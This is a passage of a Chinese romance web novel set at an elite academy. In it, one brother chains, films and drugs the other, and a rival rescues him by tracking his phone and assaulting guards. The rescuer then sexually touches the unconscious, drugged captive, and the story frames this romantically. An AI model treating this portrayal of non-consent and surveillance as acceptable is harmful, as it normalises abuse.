贺衍眼眸猛地睁开,全身笼罩着低气压。 他眯着眼睛,视线漫无目的地落到窗外。 远处的群山若隐若现,轮廓被水汽晕染得模糊不清,逐渐隐没在铅灰色的天空里。 都怪贺琚,都怪这天气,他心情差到极点了。 抛除贺琚喜欢自己的这个可能,那他把自己带到这里来的原因—— 是因为自己的存在可能阻碍了贺琚的某些行动吗? 他甚至怀疑贺琚是不是早就知道自己不是贺忠载的儿子,也早就清楚自己其实是森铭学的孩子。 亦或者说,他已经和森铭学有联系了。 但很快贺衍就否认了贺琚早就知道这件事的观点。 仅凭他对贺琚浅薄的了解,要真是知道,贺琚就不可能会容忍贺忠载如此安排他自己。 那贺琚现在跟陈月香接触了吗? 陈月香一定非常清楚,贺琚就是林娴的孩子,所以才会隐姓埋名辗转来到贺家。 她待在距离贺琚最近的地方,并且一待就待了六年。 不管她和贺忠载到底是谁利用谁,还是互利互惠。 他们二人的目的一定存在某种程度的一致。 贺衍能看出陈月香对自己怀有愧疚,且并没有太大恶意。如果他真的去问,极有可能套出实情。 但当时碍于身后无时无刻的监控,这个想法最终作罢。没有办法亲自问本人,他那时就想到了罗河县的妇幼保健院。 那里是他名义上出生的地方,现在的医院院长恰好是当年产科的主任。 根据医院官网上的记载,当年产科的医生只有三个。 贺衍当时只是试探着打电话,不过对面很快接通了,但却说对这件事一无所知。 在他给对方的账户里打了五万之后,一无所知变成了无所不知。 她告诉贺衍,其实当年潘冷香因为早产,那个孩子生下来没几天就夭折了。 可潘冷香不接受这个事实,硬是不顾身体状况,抱着身体早已僵硬的婴儿回家了。 但没过几天,另一个女人就和潘冷香就又出现了,潘冷香的怀里还抱着一个脸蛋红扑扑的婴儿,并且塞给了她和另外两个医生一大笔钱。 当时另一个女人就是陈月香。 陈月香或许想过要独自抚养自己,但在知道自己的妹妹孩子不幸夭折后,便想到了一个更好的主意。 她将自己托付给了潘冷香,并留下一百万作为抚养费,离开了那里。 所以,当时,最有可能将他和贺琚互换的——就是陈月香。 乌云逐渐聚集,落地窗的玻璃上突然溅开第一滴雨珠,接着是第二滴、第三滴——很快,雨水在玻璃表面炸裂成透明的水花,倾泻而下。 潮湿的寒意透过玻璃蔓延进来,天色瞬间暗了下来。 贺衍脑子一团乱。 森铭学已经离开政坛已八九年,按照常理,昔日的权力版图肯定早被后来者蚕食殆尽。 假设森铭学依旧大权在握,且贺忠载真的通过某种途径得到了一些森铭学的消息。 或许贺忠载给贺琚的股份,就是他向森铭学投诚的证明。 但贺忠载之前也意味不明的同时提起森铭学和裴行赫这两人,是因为这两人之间有矛盾,还是其他原因。 他一手抓着森铭学,一手又抓着裴行赫。 贺忠载到底是想干什么,不会是以后想自己“登基”吧。 贺衍用力踹了一脚床脚的锁链,金属的碰撞发出的摩擦声,但链子却没有受到丝毫损害。 真是乱七八糟一堆事。 算了,想这些有什么用,跟自己一点关系都没有。 贺琚那狗东西什么时候回来。 周三下午的大课间。 贺琚的指尖无意识地摩挲着手机屏幕。监控画面里,贺衍的一举一动都格外清晰。 他的瞳孔微微扩张,像是要把视频里的每一帧都刻进视网膜里。 贺琚唇角微扬,哥哥大概完全不清楚晚上到底发生了什么,不然,他不会是这样的表现。 还有,刚才哥哥的口型是不是自己的名字。 贺琚笑意扩大,他轻抿着唇瓣,眉眼弯弯。 哥哥他是不是也在想着自己,也在等自己回去呢。 再有几个小时,他就能见到哥哥了。 贺琚收起手机,若有所思地点了点头,这是不是就是所谓的“小别胜新婚”。 桌面被敲了两下。 是方盛寒。 方盛寒阴着脸,但是想到自己有事要问贺琚,还是压下了心底的躁意。他之前肯定是眼睛坏了,居然没能看透这家伙黑心的本质。 贺衍已经三天没来学校了,虽然他从班主任那里打听到贺衍请假了,理由是生病感冒。 他自己的手机和微讯号都被贺衍拉黑了,可之前其他人的手机号还能偶尔打通贺衍的手机。 虽然贺衍知道是自己之后就会立刻挂断然后再次拉黑。 但也不会是像现在这样一直都是忙音啊。 贺衍又不可能提前知道自己打的电话号码是哪个,既然不是拉黑自己,就说明他的手机一直在关机。 可就算是生病感冒,也不可能手机一直关机吧。 贺琚抬起头,表情没太多变化,但眼里的笑意瞬间收敛。 方盛寒被贺琚眼里的寒意吓住了。 周围看到方盛寒主动去找贺琚,彼此之间相互意会,都降低了说话的音量。看似还在聊天,实则注意力全在那两个人身上。 埃迪·道蒂凑近路德维格,他低声说道:“路德,你知道这俩为什么掰了吗?” 他脸上的雀斑在他说话的时候乱飞:“之前方盛寒又多喜欢贺琚,全圣洛莱索哪个学生不知道。如果说有什么变化,那就是在贺衍来了之后嘛。不过跟贺衍应该无关吧。” 路德维格眸色一暗,瞬间就想到了上周五看到的画面。 方盛寒那时候正追着贺衍说话,因为离得远,他只听到了喜欢这两个字,但是看着两个人的表情,就能猜得大差不差。 路德维格扯了扯嘴角方盛寒喜欢贺衍,真TM有意思。 当初就属方盛寒欺负贺衍最厉害,他居然还喜欢上贺衍了。 不过方盛寒纯粹自讨苦吃,贺衍绝对没半点可能会喜欢上他。 “谁知道?我也不清楚。”路德维格声音突然变冷,“整天关心这些事干什么。” 他最近找到了一个长得和贺衍有几分像的男的,但也就只有脸能看了。 最开始还说自己是个直男,绝对不能给男的搞。 十万不行,二十万不行,五十万就自己把衣服脱了,跪下来张开嘴了。 身材瘦瘦干干的。 真没意思。 路德维格眼前又出现了贺衍,还有他那双看自己跟看什么肮脏的草履虫一样的眼神。 路德维格自嘲地啧了一声。 自己也是真TM贱得慌。 被贺衍坑成那样了,居然还在想他。 方盛寒喉结滚动了下,忽然大声地说道:“贺琚,你到底清不清楚贺衍为什么不接我电话?” 贺琚半点不心虚,他对着方盛寒笑了笑,但眼里没有丝毫笑意:“他生病了,休息的时候当然不想听到讨厌的人的声音啊。” 吃瓜群众意犹未尽地收回了视线。 埃迪忽然出声:“你知道吗,最近又有小道消息说,贺衍好像才是贺家真正的儿子。” 路德维格挑眉:“说什么废话。” “我是说。”埃迪压低了声音:“贺琚跟贺家没血缘关系。” 奎尔丹尼州,下午。 黄昏落日,汽车在雪中前行。 本该需要至少一周才能完成的任务在三天内结束了,高振心里窃喜,嘿嘿,他能多出来四天假期。 岑靳靠在汽车后椅上,修长的手指抵着太阳穴,眼下那圈淡淡的黑青非但不显疲态,反而为那张轮廓分明的脸添了几分危险的颓靡。 岑靳将领口扯开了一些:“高振,任务结束了。” 高振坐在副驾驶位上,疲惫得眼睛都快睁不开了,他扭头往后看了一眼,打了个哈欠:“对啊,老大,还有什么——” 明明该是倦容,可当他掀起眼皮时,那双灰蓝色的眼睛却亮得慑人。 高振瞬间明白了,但他已经累得不行了,队里怎么就自己一个精通网络计算机的,就不能再招几个人嘛。 都是两天几乎没睡觉,为什么老大还这么精神。 他逃避似的移开了视线,但他还没彻底把头扭到正前方时,就听见岑靳说话了。 “干完之后再给你放一周假。” 4+7=11,十一天,那是整整十一天!!! 高振瞬间提起了劲儿:“放心,老大,保证完成任务。” 为了自己的假期!为了老大的幸福! 高振的手机噼里啪啦地在键盘上敲击着,每一个音节都雀跃着欢喜,脸上不见了半点困意。 信号消失的时间在周六下午。 高振点开圣洛莱索诺布莱斯区的监控,他把周六一天到周日这个时间段的监控的都看了。 他又调了其他角度的视频,又对比着看了几篇,但还是没发现什么。 眼皮像灌了铅一样沉重,他用力眨了几次眼,手指机械地点着鼠标。 可不过几秒,脑袋又不受控制地一点一点往下坠,在即将磕到桌面的瞬间猛然惊醒,脖颈酸涩僵硬得要命。 高振看了眼时间,都九点半了,他已经四十个多个小时没合眼了,要不他先睡一会儿,就眯半小时。 他发誓他一会儿绝对就醒。 十分钟后,岑靳乘坐的那班飞机,已经降落到了淮新境内。 [不接就会死,不接就会死……] 刺耳的铃声瞬间高振吓醒,他立刻起立接通了电话:“老大,什么事?” “找到线索了吗?” 高振报告了一下情况:“我把周六到周日的监控交叉对比着看了一遍,但没有找到贺衍,现在正好备往前看一天,可能还需要一段时间。” 电话挂断。 高振长舒一口气,给自己猛灌了一大杯苦得要命的黑咖,开始加班加点地工作。 晚上九点四十,萨卡州边境。 雨已经下了一整天了。 贺衍的太阳穴突突跳动,指尖无意识地在桌面上敲击。 那些雨滴砸在玻璃上的声响越来越重——他猛地扯开窗帘,窗外是一片浓稠的黑色,像是稠的黑色,仿佛把一切都吞噬了一样。 真特么烦。 这个房间里除了必要的家具之外,任何可以打发时间的东西都没有。 这两天还是连着阴天。 贺衍的心情简直差到了极点。 窗帘再次将黑夜与室内隔绝。 贺衍拉开衣柜,沉着脸从里面随便拿出来了一件衣服,然后用力合上了柜子。 贺衍额头的青筋狠狠地挑了挑,本来就面无表情的脸现在更冷了。 先不提上衣,这一柜的裤子,全部都是“极其特别”的款式。 右侧的裤腿边缘有一个长长的拉链,不用解开脚上的铁链就能穿。 但问题是,贺琚没给自己准备任何内裤。这种刻意为之的羞辱比直接扒光他更令人窒息—— 贺衍的太阳穴突突跳动,他抬腿又踹了几下床脚。 就算这些裤子再柔软,但是布料摩擦过敏|感|处的触感,却像是无数蚂蚁在皮肤上爬。 可最让他愤怒的是,自己居然真的在适应这种该死的状态。 他冷着脸,指节捏得发白,拿着浴巾和换洗衣服走进了浴室。 浴室的门也是特制,刚好为铁链预留了一个十平方厘米左右的空间,让门可以自由开合。 浴室很大,甚至还有一个全自动按摩的浴缸。 贺衍的眉骨压得很低,在眼窝投下一片阴影,他的脸色现在阴得能滴出水来。 贺琚虽然是个疯子,但应该不会在浴室安监控吧。 贺衍自我安慰,眸子里凝着冰碴似的冷光。 反正,只要他没找到,就是没有。 他抬手拧开淋浴开关,水瞬间倾泻而下。 水流顺着起伏的肩线向下滑落,在锁骨凹陷处短暂蓄积后,又沿着胸腹的沟壑分流。 贺衍仰头甩开湿发,眉头蹙着,一脸不耐。 头发太长了,真碍事。 也不知道贺琚那狗币怎么想的,浴室里连个镜子都没有。 贺衍抓起沐浴球胡乱往身上蹭,泡沫在皮肤上草草抹开。 他的动作粗暴得像在擦洗一件器物,泡沫顺着腰线滑落,在瓷砖上积出小小的白色水洼。 泡沫在胸膛上被胡乱晕开,又被粗暴地抹去,沐浴球刮过胸膛,不知道划过了哪里,他的身体下意识颤了一下。 腰侧人鱼线随着他的呼吸若隐若现。 贺衍蹙了蹙眉。 他低头看着上半身,跟平常没什么区别。 他又用力地在胸前剐蹭,但又变得正常了。 水珠顺着发梢砸在瓷砖上,他的下颌绷得几乎能听见牙齿摩擦的声响。 水温渐热,浴室内,蒸腾的雾气在瓷砖上凝结成水珠。 他浑然不觉自己身后的皮肤上布满了暗红的印记—— 从肩胛骨到腰窝,那些交叠的吻痕在氤氲的水汽中愈发鲜明,像被揉碎的玫瑰花瓣一般黏在了背上。 有些已经泛出瘀紫,像是被反复啃咬一般留下的印记。 新添的那些则艳丽得像是要渗出血来,在冷白的皮肤上格外扎眼。 水流划过那些痕迹时,贺衍无意识地皱了皱眉,但只是当作是水温太烫。 他抬手关了淋浴,系上了浴巾。 发尾的水滴顺着脊背的沟壑蜿蜒而下,滑过那片斑驳的吻痕,最后隐入纯白浴巾的边缘。 浴巾贴在后腰,恰好掩住了最深处那枚齿痕。 第66章 第 66 章 收网 第66章 周三, 晚上十点二十。 圣洛莱索学院,诺布莱斯别墅区。 书房里,只有书桌前的台灯还亮着。 桌面上放着一本书, 其中翻开的一页上配了一幅插图, 一架银白色的战斗机在湛蓝的天空中划出一道优美的弧线。 但书页停在这一页已经很长时间了。 楼下的门铃响了,裴屷立刻起身走到了窗户那里向下俯瞰, 棕黑色的头发。 裴屷眼神微眯,眼底划过一丝失落,随后直接关上了窗户。 他重新坐回了书桌前,他调节了一下台灯的亮度,视线似乎落在书上, 似乎又没有。 桌面上的那本书终于又翻了一页。 三分钟后, 穿着黑色长衫的管家轻轻敲门:“有人找您。” 裴屷头也没抬:“不见。” 管家张了张嘴:“但, 那位似乎是岑家的那位少爷。” 岑靳?他来找自己干什么。 裴屷面无表情地扯了扯嘴角:“不见。” 半敞开的书房大门外,脚步声越来越清晰。 人未到声先来。 “你说不见就不见了吗?”岑靳的语气不怎么好,他直接走进了书房内。 裴屷啪一声合上书, 凤眸微眯:“夜闯民宅,真是好大的威风。” 裴屷依旧坐着, 藏匿于幽暗灯光下的双眸,满是冷冽的寒意。 “你先下去吧。” 管家点了点头, 将书房的门关上了。 岑靳走到桌前, 灰蓝色的眼中是森冷的冷意:“你作为贺衍的订婚对象, 连他失踪了都不清楚吗?” “岑靳, 你没有资格质问我。”裴屷眼皮跳了下,语气冰冷:“失踪?贺衍不过是请了病假,你难道不清楚吗?” 但片刻后,裴屷眼神忽然变沉:“你为什么会说贺衍失踪, 依据是什么。” 岑靳沉默了一瞬。 裴屷眸中的冷冽几乎要凝结成实体:“你在监控他?” 岑靳的唇角忽然扬起来,眼神却冰冷:“裴屷,你才是没资格的那一个。” “你连他这几天失踪都不清楚。”岑靳唇角勾了一下,语气冰冷地嘲讽道:“我看你们的这个婚约早没有存在的必要了。” 裴屷微眯着眼睛:“你这是什么意思?” 岑靳紧接着反问道:“你以为贺衍真的想和你订婚吗?他应该不止一次告诉过你,他会和你解除婚约吧。” 裴屷的瞳孔骤然收缩,岑靳怎么会清楚。 一个画面毫无预兆地闯入他的脑海,清晰得几乎灼痛神经。 那是他无意间瞥见的贺衍和岑靳在一起时的画面。 贺衍的状态几乎可以用“轻松愉快”这四个字来形容。 从来不是和自己那般,只有“公事公办”——他们之间除了讨论如何拒绝订婚外,只剩下如何解除婚约了。 也对,他们两个人最开始的接触,就是为了以后可以不再接触。 裴屷神色愣怔一瞬,但这个瞬间却被岑靳捕捉到了。 裴屷这种态度和反应,说明他和贺衍之间基本上没有联系,订婚显然形同虚设。 岑靳抿了下唇,看来不是裴屷不作为,而是他根本不清楚这件事。 岑靳眼中的敌意消散了些许,但面容却更加紧绷了。 高振调取的贺家的监控显示,贺衍不在圣洛莱索,也不在贺家。 如果他也不在裴屷这里。 岑靳的眸色彻底暗了下来,神色愈发凝重了。 但裴屷既然不清楚这事,他也没必要再在这里浪费时间。 岑靳礼貌地点头致歉,缓和的语气跟刚才的咄咄逼人简直判若两人。 “抱歉,打扰你了,是我误会了。” 话音落下,岑靳便立刻转身大步离开。 裴屷忽然出声:“岑靳,不管你的说辞是真是假。但我和贺衍的婚约,是我们两个人的事。轮不到你来插嘴。” 岑靳眼神微眯,眸色阴鸷。 他冷笑一声,但并没有回头,只是声音同样冷到让人不寒而栗:“那你可以‘期待’着解除婚约的那一天,我相信这不会远了。” “管家,送客。” 大门再次阖上。 裴屷忽地扯了扯嘴角。 手机屏幕上,是贺衍上周五晚上发给他的消息:[裴屷,你什么时候有空。我们商量一下怎么解除婚约,最好把影响降到最低。] 他周六早上看到消息后回复了:[好,我一直有空。] 但贺衍一直未读。 直到周一,贺衍并没有出现在学校,只有他感冒请假的消息。 裴屷也不清楚自己当初在想什么。 他唇角微动,溢出一丝苦笑。有什么不好承认的呢,因为他不想和贺衍商量解除婚约的事。 能拖一天是一天。 所以贺衍未读,他也不催。 “您叫我来有什么事吗?”管家走到书房,他看到裴屷的表情,有些担心地问道:“您没事吧?” “查一查贺衍现在在哪里,不要惊动父亲。” 但直到周四中午,却依旧没有什么有用的消息。 裴屷周身布满冷气压。 突兀的铃声划破了室内的安静,裴屷的手指悬在键盘上方,目光落在手机屏幕上闪烁的名字上。 “小屷,有一有二不能有三。首长已经下死命令了,如果没有经过他的允许,你不能再随意使用任何权限。” “是任何都不行。” 罗彰勋语气加重,又带着几分复杂:“你当初是怎么想的,居然去查首长犯罪的证据,那可是你父亲。要不是裴老拦着,你——” 罗彰勋长叹一口气:“算了,这次的事我先不上报给首长了。” 裴屷握着手机的指骨泛白,手上的青筋凸起。 周四,下午五点。 岑家主宅。 岑德越正在和岑靳说话,虽说如此,但是他能看出来,这小子完全是心不在焉。 岑德越掀起眼皮,这小子眼下一片青黑,他昨天九点多就到淮新了,但凌晨三点多才回家,也不知道去哪里了。 十分钟后,岑靳一声招呼也没打,忽然站起来离开了。 岑德越端起茶杯抿了口茶,岑德越若有所思地看着岑靳的背影。 杜北毒贩猖獗,那几个人可都是逃了好多年都没抓到的刺头,但这次的任务只用了四天就完成了,七个里面他自己解决了五个,里面甚至有两个是活抓的。 也没人逼他,他这次任务也太急了。 这小子最近这三个月的行为其实都挺古怪的。 前几个月岑靳出任务受了重伤,要不是他强硬要求,最开始他还不愿意回来休息。 但后面伤好了之后,居然没立刻走,硬是又在这里多待了两周。 岑靳走到窗前,阳光刺眼,他半眯着眼问道:“有消息了吗?” 高振:“老大,我找到人了。虽然信号周六下午才消失,但是人其实是周五离开的。” “经过分批排查之后,我目前已经锁定了一个位置,在萨卡州和奎尔丹尼州交界处的一座山的别墅上,不过那座山属于私人拥有——” 岑靳声音喑哑:“是谁名下的?” “这座山属于贺琚。但是,别墅的所有者是贺衍本人。” 高振咽了下唾沫:“老大,那个,有没有一种可能,其实贺衍也没失踪。他不是请假说自己生病了吗?或许是去山上养病了?” “那个手机,说不定就是他自己不想要了,然后销毁了也说不准,对吧。” 对面安静到让人恐惧,高振越说越觉得嗓子干涩,哈哈干笑了两声。 “通向山间别墅的只有一个主干道,肯定是不能硬闯的,不然会触发警报。” “不过我查过地形了,这山的另一半还没开发,那里有一处是天然的停机坪,距离别墅的路程就三公里,不是很远。” “但那里属于禁飞区。虽然军用飞机可以无障碍通行,但是老大,您的权力只能调动奎尔丹尼州的军用飞机吧。” 高振说到这里下意识眨了眨眼,忽然想到电话那头人的身份,其实首都的飞机好像也能用。 “位置发我,你可以放假了。” 岑德越手里还托着茶杯,岑靳就迈着大步走回来了。 “老头,我需要一架军用直升机。”岑靳冷着一张脸:“就现在用。” 岑德越不紧不慢地将杯子放下:“原因。不说清楚就不借。” “禁飞区只能过军用机。” 岑德越抬眼,语气里充满压迫感:“禁飞区?军用飞机是能随便调用的吗?万一你要是干了什么混帐事,我这一把老脸,可不想给你擦屁股。” 岑靳一字一句地说:“我现在要去找我老婆。” 岑德越眼睛比刚才亮了,但是瞬间眉头又皱起来:“目的地是哪里?” “萨卡州边境的长偃山。”岑靳不耐烦了:“老头,你到底借不借,我不想在这里跟你绕弯子了。你要是不借,我就直接开家里那驾了。” 岑德越站了起来,语气却比刚要低沉:“长偃山属于森——” “什么森不森的,长偃山属于贺琚。”岑靳冷啧了一声,眉宇之间满是寒意,“你当初非得让我去圣洛莱索,就是因为那个贺琚吧。” 岑德越愣了一下,蹙眉自言自语:“属于贺琚倒也对。” 岑德越看着岑靳马上就要离开房间,忽然脑海里闪过什么,忽然喝住:“岑靳,你给我回来!” “你说我未来儿媳妇是贺琚!” “老头,你脑子——” 岑德越满脸怒容:“贺琚是你堂弟,我绝对不允许你和他在一起。” 岑靳的面部肌肉不受控制地抽搐,瞳孔急剧收缩后又放大。 “贺琚和贺衍没有血缘关系?” 岑德越似乎疑惑了一下:“贺衍?你说贺家找回来那个孩子。他们当然没有——” 岑靳冷呵一声,双手握拳头,全身的血液似乎都冲向了头部,太阳穴突突直跳。 萨卡州与奎尔丹尼州交界处,长偃山。 已经是第六天了。 天又快黑了,黄昏的光线把山体分成了明暗对比强烈的两部分。 他已经数完两座山上的树了,一群飞鸟掠过,挡住了他点视线,打乱了他对第三座山的计数。 浴室的瓷砖,对面山上的树,他已经数了无数遍了。 但除了这些,他在这里还能干什么。 贺衍喉结剧烈滚动,他将头发揉得一团乱,猛地拉上了窗帘。他蜷在床上,被子盖住了头顶,只有几缕碎发漏在了外面。 又过了不知道多长时间,房间大门被敲响了。 贺琚把晚饭放到了门口:“哥哥,该吃晚饭了。” 贺衍没动,也没说话。 但贺琚知道他没睡着。 贺琚唇角勾起,根据他这些天的观察,哥哥也快到极限了。 就在贺琚准备关门的时候。 闷闷的声音忽然从被子里传出来:“贺琚,你打算什么时候放我离开。” 贺琚眼睛一瞬间亮起来:“哥哥,你愿意理我啦。” 贺衍猛地从床上坐起来,凌乱的发丝遮住了眉眼,冷白的肤色,纤细的脚踝,看起来脆弱又可口。 “我问你打算什么时候放我离开。” 他这时候已经彻底不觉得会有人来救自己了。 贺衍满身低气压,因为长时间不说话,声音还有些干涩:“你把我绑到这里来,到底是为了什么?” “难道哥哥忘记啦,我之前和哥哥说过的呀。”贺琚疑惑地歪了下头,“我喜欢哥哥啊。” 贺琚眉眼弯弯,声音甜腻:“非常非常喜欢哥哥哦。” 贺衍气得浑身发抖:“有必要再说这些狗屁不通的谎话吗。” 烦闷压抑暴躁各种混杂的情绪压在胸口,让他几乎无法喘息。 “我又不想待在淮新,你干什么都和我无关。” 贺衍眼底的怒火越燃越烈,太阳穴那处,青蓝色的血管在苍白皮肤下突突跳动:“如果不是你把我关在这里,我早就离开了。” 哥哥,原来早就想离开我了啊。 贺琚唇角咧开的笑意变大,墨色在眸中汹涌地翻滚,视线如有实质般舔舐过对方每一寸的肌肤。 “晚饭凉了就不好吃了,哥哥。” 门再次被关上了。 贺衍盯着门口的袋子,忽然失去了吃饭的欲望。 他知道自己现在的状态不对。 饥饿的肠胃发出悲鸣。 他没必要为了贺琚,跟自己过不去。身体才是革命的本钱。 饭已经凉了。 贺衍没有加热,只是机械性地往自己嘴里送。他的手腕忽然颤了一下,油渍溅了一身。 又要洗澡了。 贺衍面无表情地擦掉指尖的油点。 浴室里水汽氤氲,贺衍站在花洒下,他闭着眼睛,任由热水冲刷着紧绷的脊背。 他随手抓起沐浴球,漫不经心地擦过刚才溅上油渍的地方。 沐浴球掠过腰际。 贺衍全身忽然僵硬了。 仅仅是泡沫与皮肤的短暂接触,他就不受控制地起|了|反|应。 “艹……”他低头看着自己,喉结滚动。 他之前有这么敏感吗? 水珠顺着发梢滴落,在胸膛上蜿蜒而下。 呼吸变得粗重湿热。 沐浴球还挂在手腕上,随着他的呼吸轻轻晃动,像某种无言的嘲讽。 贺衍蹙着眉,他自嘲地扯了扯嘴角,试图回想上次自|渎是什么时候。 他平常对这方面的欲望并不强,但并不是没有。 近些天虽然心情不好,但晚上睡得还算踏实,早上也和以前一样,在固定的时间段醒来。 他一直没有觉得有什么不对。 或许是禁|欲太久了? 监控里画面里,氤氲的水汽模糊了镜头,水声盖住了喘|息。 贺琚的喉结急促地滚动,指节无意识屈伸着。 他的上衣的下摆被顶出危险的弧度,贺琚的瞳孔扩张到极致,黑得瘆人。 今天是最后一次的药了,快要收网了。 晚上九点,天已经黑透了。 三公里外的夜空中,一架低空飞行的直升机舱门突然打开。 岑靳的脚步很快,动作利落得像一只蓄势待发的黑豹。 潮湿的泥土在靴子的踩踏下发出轻微的咯吱声。 半小时后,一栋隐藏在群山中的两层别墅出现在视野里。 月光下,别墅周围的围墙上,电网泛着冷光,监控摄像头无声地转动着。 岑靳借着夜色隐藏住了自己的身影,平稳呼吸。 九点五十分,一辆没有任何标识的黑色面包车缓缓驶来。 那是每天晚上送餐的车。 车门打开,一个穿着白色制服的男子提着保温箱从里面走了出来。 岑靳立刻冲了过去,送餐员甚至没来得及发出声音就倒在了地。 岑靳把他拖到一旁,迅速换上对方的制服,戴上口罩和帽子。 大门口的保安打了个哈欠,随口问道:“今晚怎么晚了?” 岑靳低着头,声音含糊:“车路上抛锚了。” 保安狐疑地打量着他,正准备上前检查,却保温箱砸在脸上,闷哼了一声,失去了意识。 岑靳深吸一口气,他调整了一下口罩的位置,提着保温箱向那里走去。 他的步伐与送餐员分毫不差,甚至连肩膀微微前倾的姿势都模仿得惟妙惟肖。 贺琚打开了门,发现来人并不是往常送餐的那个人的时候,已经晚了。 岑靳对着贺琚冷笑一声,想到老头子不能伤人的话,抑制住暴虐的心情,一记手刀精准击中了贺琚的颈部,直接打晕了他。 他一个房间一个房间地找。 直到推开了一扇还未落锁的大门。 几乎铺满整个墙面的屏幕,各个角度,连浴室也有。 最大的主屏幕上,贺衍缩在床角,似乎已经睡过去了。 岑靳眼神陡然阴沉,瞳孔收缩,颈部青筋随着喉结的上下滚动突突跳动。 一想到贺衍在这里可能会经历什么。 岑靳的下颚绷紧,眼底瞬间布满了血丝,满是阴鸷。 他一步一步走到了晕过去的贺琚身前。 暴虐的情绪在胸腔里翻滚,岑德越的话已经被他抛到了脑后。 他弯腰拽着贺琚的衣领,卷头猛地砸了下去,软骨碎裂的闷响在寂静中格外清晰。 贺琚被掐着脖子提了起来,额头撞向墙面,发出了重重的响声。 岑靳反而勾起嘴角,眼底烧着冰冷的怒火。 岑靳甩了甩手上的血,面无表情拖着贺琚的一条腿,按着他的手打开了指纹锁。 贺衍躺在床上,呼吸绵长,似乎睡着了。 但体温却极烫。 第67章 第 67 章 贵族学院篇结束(小剧场…… 第67章 直升机的螺旋桨轰鸣着。 岑靳感觉心脏随着直升机每一次震动都在刺疼。 他将贺衍紧紧搂在怀里, 他的身体越来越烫了。 贺衍的脸颊泛着不正常的潮红,额头上满是细密的汗珠。 “再忍忍,马上就到了。”他低声说, 不知是在安抚贺衍, 还是在告诫自己。 岑靳垂眸看他,灰蓝色的眸中覆盖上了一层薄雾。他喉结颤动, 却只是沉默地将人搂得更紧了。 十五分钟后,直升机落地。 没有避讳任何人,岑靳把贺衍抱回了自己的房间。 浸湿的毛巾缓慢擦拭过贺衍的额头。 他的唇间溢出细碎的呻|吟,湿热的吐息扑在了岑靳的喉结处。 岑靳的喉结滚动,呼吸已然粗重。 他克制地抿唇, 剪开了贺衍的上衣, 将他身上的布料一寸寸剥开。 毛巾从胸前擦过, 贺衍无意识地颤了下,滚烫的指尖无意识地揪住了岑靳的衣襟。 岑靳叹了口气,他的手掌托着贺衍的腰将他翻了过去, 视线陡然顿住。 斑驳一片的后背,新旧的吻痕交叠在一起, 从肩胛骨蔓延到腰窝,在冷白的皮肤上刺目得惊人。 岑靳瞳孔紧缩, 他的唇瓣抿成一条直线, 灰蓝色的眼里满是森冷的寒意。 岑靳俯身拉开他腿侧的拉链, 眸色又更暗了。 居然没有穿—— 他刚才打得还是轻了, 岑靳下颌紧绷得几乎能听见牙齿摩擦的声音。 岑靳咬着牙,指腹蹭过背上那些痕迹。 在触到贺衍的腰线时,对方即使在昏迷中仍本能地颤了颤,喉结随着喘息滚动。 岑靳突然俯身, 狠狠压在一处淤红上,吮出更深的印记,像是要覆盖掉所有痕迹。 贺衍闷哼一声,腰腹绷出漂亮的弧线,手指无意识攥紧了床单。 岑靳的手顺着人鱼线滑下去。 身下的人已经颤得不像话了。 岑靳的指节收拢,动作粗暴得近乎惩罚。 无意识的呜咽碎在喉咙里,很快在掌心中释放,他的身体猛地弓起,又脱力地跌回床褥。 贺衍的睫毛湿漉漉地垂着,却始终没有醒过来。 岑靳猛地松开手,胸口剧烈起伏。 岑靳盯着贺衍熟睡的脸,忽然低笑一声:“坐怀不乱?我他妈真是疯了才能坐怀不乱。” 他扯过被子盖住贺衍的身体,转身拨通了私人医生的电话。 一小时后。 “血检结果已经出来了,检测出了两种药。” 医生抬头看了一眼岑靳,欲言又止地瞥了眼凌乱的床单:“其中一种药,病人应该服用了有几天以上了,这种药服药几个小时后会让人陷入深度昏迷,并且会让身体更加敏感。别的,别的倒没什么危害。” “不过随着时间代谢,这种效果会逐渐减轻的。” 医生瞥到岑靳的眼神,声音更结巴了。 “另一种药,嗯,血液中的浓度比较高,就是会刺激大脑奖赏中枢,激活交感神经兴奋度。” “春|药,对吧。”岑靳笑了一下,声音却冷到让医生打了个寒颤。 “如果您要帮他的话——” “不用。” 医生明白了他的意思。 针头刺入静脉时,贺衍无意识蹙了下眉。 岑靳站在阴影里,看着点滴一滴滴落下,手背上青筋暴起。 周五中午,阳光透过窗帘的缝隙洒进屋内,刚好落到了贺衍的脸上。 贺衍的睫毛颤动了几下,意识逐渐清明。 他下意识抬手挡住阳光,身体动了一下,才发现脚上没有了已经逐渐习惯的禁锢感。 贺衍猛地坐了起来,又是一个完全陌生的房间。 “又换地方了?”贺衍喃喃自语,声音嘶哑完全不像他自己的。 他低头看了眼手背上微微卷起的透明敷贴边缘,他输液了? 大脑还未能完全运转,大门那忽然传来了门把手转动的声音。 贺衍的手指无意识揪紧被单,浑身的肌肉瞬间紧绷。 岑靳穿着简单的棕色毛衣,手里端着一杯冒着热气的水。 贺衍的瞳孔剧烈收缩,呼吸停滞了一瞬。 “岑靳?!” “你……”他的声音忽然卡在喉咙里。岑靳怎么会出现在这里? 是他救了自己,还是? 岑靳把水杯放在床头柜上,对着他笑了笑,灰蓝色的眼里全是暖意。 他转过身,拉开了窗帘。 阳光透过洒进房间,将整个屋子都照得温暖明亮。 岑靳垂下了眼睛,眸中满是心疼。他不清楚贺琚到底对贺衍做了什么,但他不想让贺衍再想起那段回忆。 “我看你的手机信号不见了,就以为你出了什么意外,没想到你居然会在长偃山。” 岑靳瞥见贺衍的手指无意识地碰着那个透明敷贴,于是解释道:“你昨天晚上可能受凉了,有点发烧。我让医生给你输了一瓶点滴。” “你现在还有什么不适吗?” 贺衍呆呆地摇了摇头。 所以,是岑靳把自己从那个地方给救出来了。 “谢谢。” 过了片刻,贺衍冷静了下来,他忽然蹙了下眉,冷不丁地开口:“所以,你一直在监控我的手机信号?” 岑靳表情一僵,立刻摇头:“我只是,我只是偶尔看一看。” 贺衍看着他无措的样子,眼睛弯了起来,他笑着耸了下肩:“不管怎样,多谢。” 带着笑的眼睛,盛满了星碎一般。 被那双宝石一般的眼睛看着,岑靳的耳根瞬间红了,他好久没跟自己这么笑过了。 “贺衍,这次的事,贺忠载知道吗?” 贺衍摇了摇头:“他还盼着我跟裴屷联姻,不可能会让贺琚做出这种事。但不知道贺琚那疯子干了什么,才能瞒住贺忠载这么久。” 贺衍眸色一暗:“贺琚现在在哪里?” 岑靳眼底划过一丝阴鸷,语气陡然变沉:“你在关心他?” 贺衍诧异地瞥了岑靳一眼:“你脑子也出问题了,我是想揍死他。” 